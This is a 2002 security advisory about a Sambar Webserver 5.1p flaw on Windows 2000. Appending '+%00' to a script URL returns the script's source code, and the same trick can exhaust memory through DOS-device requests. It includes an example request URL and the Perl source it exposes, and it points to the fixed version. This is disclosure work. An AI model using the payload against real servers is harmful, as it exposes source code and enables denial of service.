26th Sep 2002 [SBWID-5290]
COMMAND
Sambar webserver server-side fileparsing bypassed
SYSTEMS AFFECTED
Sambar Webserver V5.1p on Windows 2000
(Other versions were not tested)
PROBLEM
In Peter Gründl of KPMG Denmark advisory [BUG-ID: 2002012] :
It is possible to bypass the serverside parsing of scripts, such as
.pl, .jsp, .asp, .stm and download the sourcecode. The bypassing also
opens up for a request to certain DOS-devices that the server would
then attempt to access. These ressources used in such requests are not
freed properly and as a result, the web server will eventually run out
of memory and the operating system will kill the web service.
To bypass the serverside parsing, an attacker would have to access the
ressource with a suffix of <space><null>. There are a lot of ways
to achieve this in eg. Internet Explorer, and an example of sourcecode
exposure could be:
http://server/cgi-bin/environ.pl+%00
which would return the following (perl sourcecode):
read(STDIN, $CONTENT, $ENV{'CONTENT_LENGTH'});
print< GATEWAY_INTERFACE: $ENV{'GATEWAY_INTERFACE'}
PATH_INFO: $ENV{'PATH_INFO'}
PATH_TRANSLATED: $ENV{'PATH_TRANSLATED'}
QUERY_STRING: $ENV{'QUERY_STRING'}
REMOTE_ADDR: $ENV{'REMOTE_ADDR'}
REMOTE_HOST: $ENV{'REMOTE_HOST'}
REMOTE_USER: $ENV{'REMOTE_USER'}
REQUEST_METHOD: $ENV{'REQUEST_METHOD'}
DOCUMENT_NAME: $ENV{'DOCUMENT_NAME'}
DOCUMENT_URI: $ENV{'DOCUMENT_URI'}
SCRIPT_NAME: $ENV{'SCRIPT_NAME'}
SCRIPT_FILENAME: $ENV{'SCRIPT_FILENAME'}
SERVER_NAME: $ENV{'SERVER_NAME'}
SERVER_PORT: $ENV{'SERVER_PORT'}
SERVER_PROTOCOL: $ENV{'SERVER_PROTOCOL'}
SERVER_SOFTWARE: $ENV{'SERVER_SOFTWARE'}
CONTENT_LENGTH: $ENV{'CONTENT_LENGTH'}
CONTENT: $CONTENT
END
SOLUTION
Get Version 5.2b, which is available here:
http://sambar.dnsalias.org/win32-preview.tar.gz